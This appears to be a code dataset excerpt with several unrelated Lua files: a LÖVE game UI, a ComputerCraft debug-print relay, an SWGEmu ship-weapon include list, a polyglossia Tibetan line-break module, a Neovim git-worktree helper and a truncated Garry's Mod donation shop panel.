content
stringlengths
5
1.05M
require 'objects/squareButton' require 'states/maingame/player' maingame_UI = {} local bigFont local xScale local pausedButton, continueButton, quitButton, restartButton, failedButton function maingame_UI:load() bigFont = love.graphics.newFont("assets/roboto.ttf", 92) xbar = 0 isEnabledUI = true failedButton = newSquareButton(gw / 2 - 270, gh / 2, 220, "Failed", Blue, White, 0, -50) pausedButton = newSquareButton(gw / 2 - 270, gh / 2, 220, "Paused", Blue, White, 0, -50) restartButton = newSquareButton(gw / 2 + 250, gh / 2, 120, "Restart", Purple, White, 0, -25, function() gameManager.Restart() end) quitButton = newSquareButton(gw / 2 + 50, gh / 2 + 200, 120, "Quit", Red, White, 0, -25, function() stateManager.GameState = "Mainmenu" end) continueButton = newSquareButton(gw / 2 + 50, gh / 2 - 200, 120, "Continue", Green, White, 0, -25, function() gameManager.Pause() end) end function maingame_UI:update(dt) restartButton:update(dt) quitButton:update(dt) continueButton:update(dt) if gameManager.health > 0 then xScale = gw * 0.35 * gameManager.health / 100 else xScale = 20 end if xbar <= xScale then xbar = xbar + (dt * 170) elseif xbar >= xScale then xbar = xbar - (dt * 400) end end function maingame_UI:draw() MaingameOverlay() if (isEnabledUI) then Healthbar() scoreManager:draw() end player:draw() if gameManager.pause then PauseScreen() elseif gameManager.isFailed then FailScreen() end end function maingame_UI:mousepressed(x, y, button) if gameManager.pause then continueButton:mousepressed(x, y, button) restartButton:mousepressed(x, y, button) quitButton:mousepressed(x, y, button) elseif gameManager.isFailed then restartButton:mousepressed(x, y, button) quitButton:mousepressed(x, y, button) end end function Healthbar() love.graphics.setColor(0.6, 0.6, 0.6, 1) love.graphics.rectangle("fill", 10, 10, gw * 0.35 + 1, 30) love.graphics.setColor(0.3, 0.3, 0.3, 1) love.graphics.rectangle("fill", 15, 15, gw * 0.35 - 10, 20) love.graphics.setColor(0.95, 0.95, 0.95, 1) love.graphics.rectangle("fill", 20, 20, xbar - 20, 10) love.graphics.setColor(0.3, 0.3, 0.3, 1) end function FailScreen() love.graphics.setColor(0, 0, 0, 0.6) love.graphics.rectangle('fill', 0, 0, gw, gh) love.graphics.setColor(0.3, 0.3, 0.3, 0.5) love.graphics.rectangle('fill', 0, 0, gw, gh) love.graphics.setLineWidth(90) love.graphics.setFont(bigFont) failedButton:draw() love.graphics.setLineWidth(60) love.graphics.setFont(squareButtonsmallFont) restartButton:draw() quitButton:draw() end function PauseScreen() love.graphics.setColor(0, 0, 0, 0.6) love.graphics.rectangle('fill', 0, 0, gw, gh) love.graphics.setColor(0.1, 0.1, 0.1, 0.5) love.graphics.rectangle('fill', 0, 0, gw, gh) love.graphics.setLineWidth(90) love.graphics.setFont(bigFont) pausedButton:draw() love.graphics.setLineWidth(60) love.graphics.setFont(squareButtonsmallFont) restartButton:draw() continueButton:draw() quitButton:draw() end function MaingameOverlay() love.graphics.setLineWidth(700) love.graphics.setColor(0.1, 0.1, 0.1, 1) love.graphics.circle("line", gw / 2, gh / 2, gh * 1.05, 4) love.graphics.circle("fill", gw / 2, gh / 2, gh * 0.1, 4) love.graphics.setColor(1, 1, 1, 1) love.graphics.setLineWidth(18) love.graphics.circle("line", gw / 2, gh / 2, gh * 0.1, 4) love.graphics.setLineWidth(112) love.graphics.circle("line", gw / 2, gh / 2, gh * 0.55, 4) end return maingame_UI
-- dumps the header local image = require "image" local os = require "al2o3.os" local string = require "string" local table = require "table" local test, okay = image.load("artifacts/fmtcheck_R8_SRGB_16x16.ktx") if okay == false then print("failed to to load the image") goto continue end local w, h, d, s = test:dimensions(); local format = test:format(); local flags = test:flags() print(string.format("%i x %i x %i x %i of %s", w, h, d, s, format)) ::continue::
-- GlassDebug - Client Script -- Written 2015 by Tobias Maedel (t.maedel@alfeld.de) -- Thanks to @TobleMiner -- Licensed under MIT local Key local Receiver = nil local Prefix = nil function open (side, key, id, prefix) if (not rednet.isOpen(side)) then rednet.open(side) end Key = key Receiver = id Prefix = prefix end function writeText(text, color, displayTime) message = {} message.Key = Key message.Text = text message.Color = color message.DisplayTime = displayTime if (Prefix ~= nil) then message.Text = "["..Prefix.."] "..message.Text end if (Receiver == nil) then rednet.broadcast(textutils.serialize(message)) else rednet.send(Receiver, textutils.serialize(message)) end end function ownPrint (...) text = "" for k,v in pairs(arg) do if (type(v) == "string") then text = text .. v end end message = {} message.Key = Key message.Text = text if (Prefix ~= nil) then message.Text = "["..Prefix.."] "..message.Text end if (Receiver == nil) then rednet.broadcast(textutils.serialize(message)) else rednet.send(Receiver, textutils.serialize(message)) end end function hookGlobal() _G.print = ownPrint end
--Copyright (C) 2010 <SWGEmu> --This File is part of Core3. --This program is free software; you can redistribute --it and/or modify it under the terms of the GNU Lesser --General Public License as published by the Free Software --Foundation; either version 2 of the License, --or (at your option) any later version. --This program is distributed in the hope that it will be useful, --but WITHOUT ANY WARRANTY; without even the implied warranty of --MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. --See the GNU Lesser General Public License for --more details. --You should have received a copy of the GNU Lesser General --Public License along with this program; if not, write to --the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA --Linking Engine3 statically or dynamically with other modules --is making a combined work based on Engine3. --Thus, the terms and conditions of the GNU Lesser General Public License --cover the whole combination. --In addition, as a special exception, the copyright holders of Engine3 --give you permission to combine Engine3 program with free software --programs or libraries that are released under the GNU LGPL and with --code included in the standard release of Core3 under the GNU LGPL --license (or modified versions of such code, with unchanged license). --You may copy and distribute such a system following the terms of the --GNU LGPL for Engine3 and the licenses of the other code concerned, --provided that you include the source code of that other code when --and as the GNU LGPL requires distribution of source code. --Note that people who make modified versions of Engine3 are not obligated --to grant this special exception for their modified versions; --it is their choice whether to do so. The GNU Lesser General Public License --gives permission to release a modified version without this exception; --this exception also makes it possible to release a modified version --Children folder includes -- Server Objects includeFile("tangible/ship/attachment/weapon/aggressor_weapon_s01.lua") includeFile("tangible/ship/attachment/weapon/aggressor_weapon_s02.lua") includeFile("tangible/ship/attachment/weapon/awing_weapon_s01.lua") includeFile("tangible/ship/attachment/weapon/awing_weapon_s02.lua") includeFile("tangible/ship/attachment/weapon/awing_weapon_s03.lua") includeFile("tangible/ship/attachment/weapon/awing_weapon_s04.lua") includeFile("tangible/ship/attachment/weapon/awing_weapon_s05.lua") includeFile("tangible/ship/attachment/weapon/awing_weapon_s06.lua") includeFile("tangible/ship/attachment/weapon/blacksun_heavy_missile_pod_s01.lua") includeFile("tangible/ship/attachment/weapon/blacksun_heavy_missile_pod_s02.lua") includeFile("tangible/ship/attachment/weapon/blacksun_heavy_weapon1_s01.lua") includeFile("tangible/ship/attachment/weapon/blacksun_heavy_weapon1_s02.lua") includeFile("tangible/ship/attachment/weapon/blacksun_heavy_weapon1_s03.lua") includeFile("tangible/ship/attachment/weapon/blacksun_heavy_weapon1_s04.lua") includeFile("tangible/ship/attachment/weapon/blacksun_heavy_weapon1_s05.lua") includeFile("tangible/ship/attachment/weapon/blacksun_heavy_weapon1_s06.lua") includeFile("tangible/ship/attachment/weapon/blacksun_heavy_weapon2_s01.lua") includeFile("tangible/ship/attachment/weapon/blacksun_heavy_weapon2_s02.lua") includeFile("tangible/ship/attachment/weapon/blacksun_heavy_weapon2_s03.lua") includeFile("tangible/ship/attachment/weapon/blacksun_heavy_weapon2_s04.lua") includeFile("tangible/ship/attachment/weapon/blacksun_heavy_weapon2_s05.lua") includeFile("tangible/ship/attachment/weapon/blacksun_heavy_weapon2_s06.lua") includeFile("tangible/ship/attachment/weapon/blacksun_heavy_weapon3_s01.lua") includeFile("tangible/ship/attachment/weapon/blacksun_heavy_weapon3_s02.lua") includeFile("tangible/ship/attachment/weapon/blacksun_heavy_weapon3_s03.lua") includeFile("tangible/ship/attachment/weapon/blacksun_heavy_weapon3_s04.lua") includeFile("tangible/ship/attachment/weapon/blacksun_heavy_weapon3_s05.lua") includeFile("tangible/ship/attachment/weapon/blacksun_heavy_weapon3_s06.lua") includeFile("tangible/ship/attachment/weapon/blacksun_light_weapon_s01.lua") includeFile("tangible/ship/attachment/weapon/blacksun_light_weapon_s02.lua") includeFile("tangible/ship/attachment/weapon/blacksun_light_weapon_s03.lua") includeFile("tangible/ship/attachment/weapon/blacksun_light_weapon_s04.lua") includeFile("tangible/ship/attachment/weapon/blacksun_light_weapon_s05.lua") includeFile("tangible/ship/attachment/weapon/blacksun_light_weapon_s06.lua") includeFile("tangible/ship/attachment/weapon/blacksun_medium_weapon1_s01.lua") includeFile("tangible/ship/attachment/weapon/blacksun_medium_weapon1_s02.lua") includeFile("tangible/ship/attachment/weapon/blacksun_medium_weapon1_s03.lua") includeFile("tangible/ship/attachment/weapon/blacksun_medium_weapon1_s04.lua") includeFile("tangible/ship/attachment/weapon/blacksun_medium_weapon2_s01.lua") includeFile("tangible/ship/attachment/weapon/blacksun_medium_weapon2_s02.lua") includeFile("tangible/ship/attachment/weapon/blacksun_medium_weapon2_s03.lua") includeFile("tangible/ship/attachment/weapon/blacksun_medium_weapon2_s04.lua") includeFile("tangible/ship/attachment/weapon/blacksun_medium_weapon2_s05.lua") includeFile("tangible/ship/attachment/weapon/blacksun_medium_weapon2_s06.lua") includeFile("tangible/ship/attachment/weapon/bwing_weapon1_s01.lua") includeFile("tangible/ship/attachment/weapon/bwing_weapon1_s02.lua") includeFile("tangible/ship/attachment/weapon/bwing_weapon1_s03.lua") includeFile("tangible/ship/attachment/weapon/bwing_weapon1_s04.lua") includeFile("tangible/ship/attachment/weapon/bwing_weapon1_s05.lua") includeFile("tangible/ship/attachment/weapon/bwing_weapon1_s06.lua") includeFile("tangible/ship/attachment/weapon/bwing_weapon2l_s01.lua") includeFile("tangible/ship/attachment/weapon/bwing_weapon2l_s02.lua") includeFile("tangible/ship/attachment/weapon/bwing_weapon2l_s03.lua") includeFile("tangible/ship/attachment/weapon/bwing_weapon2l_s04.lua") includeFile("tangible/ship/attachment/weapon/bwing_weapon2l_s05.lua") includeFile("tangible/ship/attachment/weapon/bwing_weapon2l_s06.lua") includeFile("tangible/ship/attachment/weapon/bwing_weapon2r_s01.lua") includeFile("tangible/ship/attachment/weapon/bwing_weapon2r_s02.lua") includeFile("tangible/ship/attachment/weapon/bwing_weapon2r_s03.lua") includeFile("tangible/ship/attachment/weapon/bwing_weapon2r_s04.lua") includeFile("tangible/ship/attachment/weapon/bwing_weapon2r_s05.lua") includeFile("tangible/ship/attachment/weapon/bwing_weapon2r_s06.lua") includeFile("tangible/ship/attachment/weapon/bwing_weapon3_s01.lua") includeFile("tangible/ship/attachment/weapon/bwing_weapon3_s02.lua") includeFile("tangible/ship/attachment/weapon/bwing_weapon3_s03.lua") includeFile("tangible/ship/attachment/weapon/bwing_weapon3_s04.lua") includeFile("tangible/ship/attachment/weapon/bwing_weapon3_s05.lua") includeFile("tangible/ship/attachment/weapon/bwing_weapon3_s06.lua") includeFile("tangible/ship/attachment/weapon/corellian_corvette_turret_large_base_s01.lua") includeFile("tangible/ship/attachment/weapon/corellian_corvette_turret_side_l.lua") includeFile("tangible/ship/attachment/weapon/corellian_corvette_turret_side_r.lua") includeFile("tangible/ship/attachment/weapon/corellian_corvette_turret_small_s01.lua") includeFile("tangible/ship/attachment/weapon/decimator_turret_base.lua") includeFile("tangible/ship/attachment/weapon/hutt_heavy_missile_pod_s01.lua") includeFile("tangible/ship/attachment/weapon/hutt_heavy_missile_pod_s02.lua") includeFile("tangible/ship/attachment/weapon/hutt_heavy_weapon1_s01.lua") includeFile("tangible/ship/attachment/weapon/hutt_heavy_weapon1_s02.lua") includeFile("tangible/ship/attachment/weapon/hutt_heavy_weapon1_s03.lua") includeFile("tangible/ship/attachment/weapon/hutt_heavy_weapon1_s04.lua") includeFile("tangible/ship/attachment/weapon/hutt_heavy_weapon1_s05.lua") includeFile("tangible/ship/attachment/weapon/hutt_heavy_weapon1_s06.lua") includeFile("tangible/ship/attachment/weapon/hutt_heavy_weapon2_s01.lua") includeFile("tangible/ship/attachment/weapon/hutt_heavy_weapon2_s02.lua") includeFile("tangible/ship/attachment/weapon/hutt_heavy_weapon2_s03.lua") includeFile("tangible/ship/attachment/weapon/hutt_heavy_weapon2_s04.lua") includeFile("tangible/ship/attachment/weapon/hutt_heavy_weapon2_s05.lua") includeFile("tangible/ship/attachment/weapon/hutt_heavy_weapon2_s06.lua") includeFile("tangible/ship/attachment/weapon/hutt_heavy_weapon3_s01.lua") includeFile("tangible/ship/attachment/weapon/hutt_heavy_weapon3_s02.lua") includeFile("tangible/ship/attachment/weapon/hutt_heavy_weapon3_s03.lua") includeFile("tangible/ship/attachment/weapon/hutt_heavy_weapon3_s04.lua") includeFile("tangible/ship/attachment/weapon/hutt_heavy_weapon3_s05.lua") includeFile("tangible/ship/attachment/weapon/hutt_heavy_weapon3_s06.lua") includeFile("tangible/ship/attachment/weapon/hutt_light_weapon_s01.lua") includeFile("tangible/ship/attachment/weapon/hutt_light_weapon_s02.lua") includeFile("tangible/ship/attachment/weapon/hutt_light_weapon_s03.lua") includeFile("tangible/ship/attachment/weapon/hutt_light_weapon_s04.lua") includeFile("tangible/ship/attachment/weapon/hutt_light_weapon_s05.lua") includeFile("tangible/ship/attachment/weapon/hutt_light_weapon_s06.lua") includeFile("tangible/ship/attachment/weapon/hutt_medium_weapon1_s01.lua") includeFile("tangible/ship/attachment/weapon/hutt_medium_weapon1_s02.lua") includeFile("tangible/ship/attachment/weapon/hutt_medium_weapon1_s03.lua") includeFile("tangible/ship/attachment/weapon/hutt_medium_weapon1_s04.lua") includeFile("tangible/ship/attachment/weapon/hutt_medium_weapon1_s05.lua") includeFile("tangible/ship/attachment/weapon/hutt_medium_weapon1_s06.lua") includeFile("tangible/ship/attachment/weapon/hutt_medium_weapon2_s01.lua") includeFile("tangible/ship/attachment/weapon/hutt_medium_weapon2_s02.lua") includeFile("tangible/ship/attachment/weapon/hutt_medium_weapon2_s03.lua") includeFile("tangible/ship/attachment/weapon/hutt_medium_weapon2_s04.lua") includeFile("tangible/ship/attachment/weapon/hutt_medium_weapon2_s05.lua") includeFile("tangible/ship/attachment/weapon/hutt_medium_weapon2_s06.lua") includeFile("tangible/ship/attachment/weapon/imperial_gunboat_turret_ball.lua") includeFile("tangible/ship/attachment/weapon/imperial_gunboat_turretbase_nose.lua") includeFile("tangible/ship/attachment/weapon/imperial_gunboat_turretbase_wing.lua") includeFile("tangible/ship/attachment/weapon/kse_firespray_weapon1_s01.lua") includeFile("tangible/ship/attachment/weapon/kse_firespray_weapon1_s02.lua") includeFile("tangible/ship/attachment/weapon/kse_firespray_weapon1_s03.lua") includeFile("tangible/ship/attachment/weapon/kse_firespray_weapon1_s04.lua") includeFile("tangible/ship/attachment/weapon/kse_firespray_weapon1_s05.lua") includeFile("tangible/ship/attachment/weapon/kse_firespray_weapon1_s06.lua") includeFile("tangible/ship/attachment/weapon/kse_firespray_weapon2_s01.lua") includeFile("tangible/ship/attachment/weapon/kse_firespray_weapon2_s02.lua") includeFile("tangible/ship/attachment/weapon/kse_firespray_weapon2_s03.lua") includeFile("tangible/ship/attachment/weapon/kse_firespray_weapon2_s04.lua") includeFile("tangible/ship/attachment/weapon/kse_firespray_weapon2_s05.lua") includeFile("tangible/ship/attachment/weapon/kse_firespray_weapon2_s06.lua") includeFile("tangible/ship/attachment/weapon/lambda_turret.lua") includeFile("tangible/ship/attachment/weapon/lambda_weapon1.lua") includeFile("tangible/ship/attachment/weapon/lambda_weapon_body.lua") includeFile("tangible/ship/attachment/weapon/merchant_cruiser_medium_turret_base_s01.lua") includeFile("tangible/ship/attachment/weapon/rebel_gunboat_turretbase_s01.lua") includeFile("tangible/ship/attachment/weapon/smuggler_warlord_ship_turret_ball.lua") includeFile("tangible/ship/attachment/weapon/smuggler_warlord_ship_turret_nose.lua") includeFile("tangible/ship/attachment/weapon/smuggler_warlord_ship_turret_s01.lua") includeFile("tangible/ship/attachment/weapon/smuggler_warlord_ship_turret_s02.lua") includeFile("tangible/ship/attachment/weapon/spacestation_turret_base_s01.lua") includeFile("tangible/ship/attachment/weapon/spacestation_turret_base_s02.lua") includeFile("tangible/ship/attachment/weapon/star_destroyer_mini_turret_base.lua") includeFile("tangible/ship/attachment/weapon/star_destroyer_turret_dome_base.lua") includeFile("tangible/ship/attachment/weapon/star_destroyer_turret_dome_body.lua") includeFile("tangible/ship/attachment/weapon/star_destroyer_turret_med_base.lua") includeFile("tangible/ship/attachment/weapon/star_destroyer_turret_med_gun.lua") includeFile("tangible/ship/attachment/weapon/star_destroyer_turret_square_base.lua") includeFile("tangible/ship/attachment/weapon/star_destroyer_turret_square_body.lua") includeFile("tangible/ship/attachment/weapon/xwing_weapon1_neg_s01_0.lua") includeFile("tangible/ship/attachment/weapon/xwing_weapon1_neg_s01_1.lua") includeFile("tangible/ship/attachment/weapon/xwing_weapon1_neg_s02_0.lua") includeFile("tangible/ship/attachment/weapon/xwing_weapon1_neg_s02_1.lua") includeFile("tangible/ship/attachment/weapon/xwing_weapon1_neg_s03_0.lua") includeFile("tangible/ship/attachment/weapon/xwing_weapon1_neg_s03_1.lua") includeFile("tangible/ship/attachment/weapon/xwing_weapon1_neg_s04_0.lua") includeFile("tangible/ship/attachment/weapon/xwing_weapon1_neg_s04_1.lua") includeFile("tangible/ship/attachment/weapon/xwing_weapon1_neg_s05_0.lua") includeFile("tangible/ship/attachment/weapon/xwing_weapon1_neg_s05_1.lua") includeFile("tangible/ship/attachment/weapon/xwing_weapon1_neg_s06_0.lua") includeFile("tangible/ship/attachment/weapon/xwing_weapon1_neg_s06_1.lua") includeFile("tangible/ship/attachment/weapon/xwing_weapon1_pos_s01_0.lua") includeFile("tangible/ship/attachment/weapon/xwing_weapon1_pos_s01_1.lua") includeFile("tangible/ship/attachment/weapon/xwing_weapon1_pos_s02_0.lua") includeFile("tangible/ship/attachment/weapon/xwing_weapon1_pos_s02_1.lua") includeFile("tangible/ship/attachment/weapon/xwing_weapon1_pos_s03_0.lua") includeFile("tangible/ship/attachment/weapon/xwing_weapon1_pos_s03_1.lua") includeFile("tangible/ship/attachment/weapon/xwing_weapon1_pos_s04_0.lua") includeFile("tangible/ship/attachment/weapon/xwing_weapon1_pos_s04_1.lua") includeFile("tangible/ship/attachment/weapon/xwing_weapon1_pos_s05_0.lua") includeFile("tangible/ship/attachment/weapon/xwing_weapon1_pos_s05_1.lua") includeFile("tangible/ship/attachment/weapon/xwing_weapon1_pos_s06_0.lua") includeFile("tangible/ship/attachment/weapon/xwing_weapon1_pos_s06_1.lua") includeFile("tangible/ship/attachment/weapon/xwing_weapon2_neg_s01_0.lua") includeFile("tangible/ship/attachment/weapon/xwing_weapon2_neg_s01_1.lua") includeFile("tangible/ship/attachment/weapon/xwing_weapon2_neg_s02_0.lua") includeFile("tangible/ship/attachment/weapon/xwing_weapon2_neg_s02_1.lua") includeFile("tangible/ship/attachment/weapon/xwing_weapon2_neg_s03_0.lua") includeFile("tangible/ship/attachment/weapon/xwing_weapon2_neg_s03_1.lua") includeFile("tangible/ship/attachment/weapon/xwing_weapon2_neg_s04_0.lua") includeFile("tangible/ship/attachment/weapon/xwing_weapon2_neg_s04_1.lua") includeFile("tangible/ship/attachment/weapon/xwing_weapon2_neg_s05_0.lua") includeFile("tangible/ship/attachment/weapon/xwing_weapon2_neg_s05_1.lua") includeFile("tangible/ship/attachment/weapon/xwing_weapon2_neg_s06_0.lua") includeFile("tangible/ship/attachment/weapon/xwing_weapon2_neg_s06_1.lua") includeFile("tangible/ship/attachment/weapon/xwing_weapon2_pos_s01_0.lua") includeFile("tangible/ship/attachment/weapon/xwing_weapon2_pos_s01_1.lua") includeFile("tangible/ship/attachment/weapon/xwing_weapon2_pos_s02_0.lua") includeFile("tangible/ship/attachment/weapon/xwing_weapon2_pos_s02_1.lua") includeFile("tangible/ship/attachment/weapon/xwing_weapon2_pos_s03_0.lua") includeFile("tangible/ship/attachment/weapon/xwing_weapon2_pos_s03_1.lua") includeFile("tangible/ship/attachment/weapon/xwing_weapon2_pos_s04_0.lua") includeFile("tangible/ship/attachment/weapon/xwing_weapon2_pos_s04_1.lua") includeFile("tangible/ship/attachment/weapon/xwing_weapon2_pos_s05_0.lua") includeFile("tangible/ship/attachment/weapon/xwing_weapon2_pos_s05_1.lua") includeFile("tangible/ship/attachment/weapon/xwing_weapon2_pos_s06_0.lua") includeFile("tangible/ship/attachment/weapon/xwing_weapon2_pos_s06_1.lua") includeFile("tangible/ship/attachment/weapon/xwing_weapon_neg_s01_0.lua") includeFile("tangible/ship/attachment/weapon/xwing_weapon_neg_s01_1.lua") includeFile("tangible/ship/attachment/weapon/xwing_weapon_neg_s02_0.lua") includeFile("tangible/ship/attachment/weapon/xwing_weapon_neg_s02_1.lua") includeFile("tangible/ship/attachment/weapon/xwing_weapon_pos_s01_0.lua") includeFile("tangible/ship/attachment/weapon/xwing_weapon_pos_s01_1.lua") includeFile("tangible/ship/attachment/weapon/xwing_weapon_pos_s02_0.lua") includeFile("tangible/ship/attachment/weapon/xwing_weapon_pos_s02_1.lua") includeFile("tangible/ship/attachment/weapon/ykl37r_turret_barrel_s01.lua") includeFile("tangible/ship/attachment/weapon/ykl37r_turret_barrel_s02.lua") includeFile("tangible/ship/attachment/weapon/ykl37r_turret_base.lua") includeFile("tangible/ship/attachment/weapon/ykl37r_turret_body_s01.lua") includeFile("tangible/ship/attachment/weapon/ykl37r_turret_body_s02.lua") includeFile("tangible/ship/attachment/weapon/yt1300_radar_s01_0.lua") includeFile("tangible/ship/attachment/weapon/yt1300_turret_s01.lua") includeFile("tangible/ship/attachment/weapon/yt1300_turret_s02.lua") includeFile("tangible/ship/attachment/weapon/yt1300_weapon_s01_0.lua") includeFile("tangible/ship/attachment/weapon/ywing_weapon1_s01.lua") includeFile("tangible/ship/attachment/weapon/ywing_weapon1_s02.lua") includeFile("tangible/ship/attachment/weapon/ywing_weapon1_s03.lua") includeFile("tangible/ship/attachment/weapon/ywing_weapon1_s04.lua") includeFile("tangible/ship/attachment/weapon/ywing_weapon1_s05.lua") includeFile("tangible/ship/attachment/weapon/ywing_weapon1_s06.lua") includeFile("tangible/ship/attachment/weapon/ywing_weapon2_s01.lua") includeFile("tangible/ship/attachment/weapon/ywing_weapon2_s02.lua") includeFile("tangible/ship/attachment/weapon/ywing_weapon2_s03.lua") includeFile("tangible/ship/attachment/weapon/ywing_weapon2_s04.lua") includeFile("tangible/ship/attachment/weapon/ywing_weapon2_s05.lua") includeFile("tangible/ship/attachment/weapon/ywing_weapon2_s06.lua") includeFile("tangible/ship/attachment/weapon/z95_missile.lua") includeFile("tangible/ship/attachment/weapon/z95_weapon_s01.lua") includeFile("tangible/ship/attachment/weapon/z95_weapon_s02.lua") includeFile("tangible/ship/attachment/weapon/z95_weapon_s03.lua") includeFile("tangible/ship/attachment/weapon/z95_weapon_s04.lua") includeFile("tangible/ship/attachment/weapon/z95_weapon_s05.lua") includeFile("tangible/ship/attachment/weapon/z95_weapon_s06.lua")
require('polyglossia') -- just in case... local add_to_callback = luatexbase.add_to_callback local remove_from_callback = luatexbase.remove_from_callback local priority_in_callback = luatexbase.priority_in_callback local next, type = next, type local nodes, fonts, node = nodes, fonts, node local nodecodes = nodes.nodecodes --- <= preloaded node.types() local insert_node_before = node.insert_before local insert_node_after = node.insert_after local remove_node = nodes.remove local copy_node = node.copy local has_attribute = node.has_attribute local end_of_math = node.end_of_math if not end_of_math then -- luatex < .76 local traverse_nodes = node.traverse_id local math_code = nodecodes.math local end_of_math = function (n) for n in traverse_nodes(math_code, n.next) do return n end end end -- node types as of April 2013 local glyph_code = nodecodes.glyph local penalty_code = nodecodes.penalty local kern_code = nodecodes.kern -- we make a new node, so that we can copy it later on local penalty_node = node.new(penalty_code) penalty_node.penalty = 50 -- corresponds to the penalty LaTeX sets at explicit hyphens local function get_penalty_node() return copy_node(penalty_node) end local xpgtibtattr = luatexbase.attributes['xpg@tibteol'] local tsheg = unicode.utf8.byte('་') -- from typo-spa.lua local function process(head) local start = head -- head is always begin of par (whatsit), so we have at least two prev nodes -- penalty followed by glue while start do local id = start.id if id == glyph_code then local attr = has_attribute(start, xpgtibtattr) if attr and attr > 0 then if start.char == tsheg then if start.next then insert_node_after(head,start,get_penalty_node()) end end end elseif id == math_code then -- warning: this is a feature of luatex > 0.76 start = end_of_math(start) -- weird, can return nil .. no math end? end if start then start = start.next end end return head end local callback_name = "pre_linebreak_filter" local function activate() if not priority_in_callback (callback_name, "polyglossia-tibt.process") then add_to_callback(callback_name, process, "polyglossia-tibt.process", 1) end end local function desactivate() if priority_in_callback (callback_name, "polyglossia-tibt.process") then remove_from_callback(callback_name, "polyglossia-tibt.process") end end polyglossia.activate_tibt_eol = activate polyglossia.desactivate_tibt_eol = desactivate
local Path = require("plenary.path") local jobs = require("worktrees.jobs") local status = require("worktrees.status") local M = {} -- Setup string splitting function string:split_string(sep) local fields = {} local pattern = string.format("([^%s]+)", sep) local _ = self:gsub(pattern, function(c) fields[#fields + 1] = c end) return fields end M.str_to_boolean = function(str) return str == "true" end M.get_git_path_info = function() local git_info = {} local is_bare_repo = jobs.is_bare_repo() if is_bare_repo == nil then return nil end git_info.is_bare_repo = M.str_to_boolean(table.concat(is_bare_repo)) local toplevel = jobs.toplevel_dir() if toplevel == nil then git_info.toplevel_path = nil else git_info.toplevel_path = Path:new(table.concat(toplevel)):parent() end return git_info end M.get_worktree_path = function(folder) local git_info = M.get_git_path_info() if git_info == nil then return nil end -- If repository is bare we can just use the folder name as path -- Otherwise append folder name to git toplevel path local path if git_info.is_bare_repo then path = Path:new(folder) else if git_info.toplevel_path == nil then status.warn( "Repo is not bare and could not get git toplevel. Aborting..." ) return nil end path = Path:new(git_info.toplevel_path:joinpath(folder):absolute()) end return path:make_relative(vim.loop.cwd()) end M.get_worktrees = function() local worktrees = jobs.list_worktrees() if worktrees == nil then return nil end local output = {} -- Parse worktree data from `git worktree list --porcelain` command local sha, path, branch, folder, is_bare = nil, nil, nil, nil, false for _, worktree_data in ipairs(worktrees) do worktree_data = worktree_data:split_string(" ") -- Data has an empty line between worktrees if not worktree_data[1] and not is_bare then local data = { sha = sha, path = path, branch = branch, folder = folder, } table.insert(output, data) status:info(string.format("Parsed worktree: %s", vim.inspect(data))) sha, path, branch = nil, nil, nil elseif worktree_data[1] == "worktree" then is_bare = false path = worktree_data[2] local split_path = worktree_data[2]:split_string("/") folder = split_path[#split_path] elseif worktree_data[1] == "HEAD" then sha = worktree_data[2] elseif worktree_data[1] == "branch" then local split_path = worktree_data[2]:split_string("/") branch = split_path[#split_path] elseif worktree_data[1] == "bare" then is_bare = true end end return output end M.update_current_buffer = function(git_path_info) local cwd = vim.loop.cwd() -- Check if buffer is a file and cwd is not bare repo local buffer_path = Path:new(vim.api.nvim_buf_get_name(0)) if not buffer_path:is_file() or git_path_info.is_bare_repo then vim.cmd("e .") return end -- Construct path where file would exists in worktree where we are changing to -- Example: worktree/test/text.txt -> new_worktree/test/text.txt local relative_path = buffer_path:make_relative( git_path_info.toplevel_path:absolute() ) local split_path = relative_path:split_string("/") table.remove(split_path, 1) local buffer_path_in_new_cwd = Path:new( cwd .. "/" .. table.concat(split_path, "/") ) if not buffer_path_in_new_cwd:exists() then vim.cmd("e .") return end -- Create new buffer from file path and delete old buffer vim.schedule(function() vim.fn.bufnr(buffer_path_in_new_cwd:absolute(), true) vim.api.nvim_buf_delete(0, {}) end) -- Switch to newly created buffer vim.schedule(function() local bufnr = vim.fn.bufnr(buffer_path_in_new_cwd:absolute(), false) vim.api.nvim_set_current_buf(bufnr) end) end return M
local PANEL = {} function PANEL:Init() self.category = "other" self:TDLib() :HideVBar() end function PANEL:SetCategory(name) self.category = name end local function formatTime(time) time = time * 60 //local mo = math.floor(time/2592000) local d = math.floor(time/86400) local h = math.floor(math.fmod(time, 86400)/3600) local mi = math.floor(math.fmod(time, 3600)/60) return string.format("%02iд %02iч %02iм", d, h, mi) end local function BuyItem(data, unique_id) Derma_Query( "Вы уверены, что хотите купить "..data.name.."?", "Покупка товара", "Да", function() netstream.Start("dustcode:BuyItem", unique_id) end, "Нет") end function PANEL:Update() local w = self:GetParent():GetWide() local Cols = math.Round(w/175) if (175*Cols > w) then Cols = Cols - 1 end local grid = self:Add("DGrid") grid:Dock(FILL) grid:DockMargin(w/3*.10, 5, 0, 0) //grid:SetPos( 5, 5 ) grid:SetCols( Cols ) grid:SetColWide( 175 ) grid:SetRowHeight( 250 ) local discountIcon = _DUSTCODE_DONATE:GetImage("discount.png") for i, data in SortedPairs(_DUSTCODE_DONATE.Items) do if self.category != data.category then continue end local time = "Навсегда" if data.time > 0 then time = "На "..formatTime(data.time) end if (data.time == 0) and data.once then time = "Одноразово" end local item = vgui.Create("DPanel") item:SetSize(170,240) item:SetTooltip(data.description) item:SetTooltipPanelOverride("DustCode_Tooltip") item:TDLib() :ClearPaint() :Outline(_DUSTCODE_DONATE.Colors.itemOutline, 4) //:Background(Color(5, 5, 5, 240)) :Blur(1) :Gradient(_DUSTCODE_DONATE.Colors.itemGradient, BOTTOM, 1) //:BarHover(Color(0, 124, 148), 3) local title = vgui.Create("DPanel", item) title:Dock(TOP) title:SetTall(50) title:DockPadding(5, 0, 0, 0) title:TDLib() :ClearPaint() :Background(_DUSTCODE_DONATE.Colors.itemTitle) :Blur(1) :DualText( data.name, "DustCode_Small", Color(255, 255, 255, 255), time, "DustCode_Small", Color(200, 200, 200, 200), TEXT_ALIGN_CENTER ) local buyBtn = vgui.Create("DButton", item) buyBtn:Dock(BOTTOM) buyBtn:SetTall(40) buyBtn:DockMargin(3, 0, 3, 3) buyBtn:SetText("") buyBtn:TDLib() :ClearPaint() :Background(_DUSTCODE_DONATE.Colors.buyBtn) 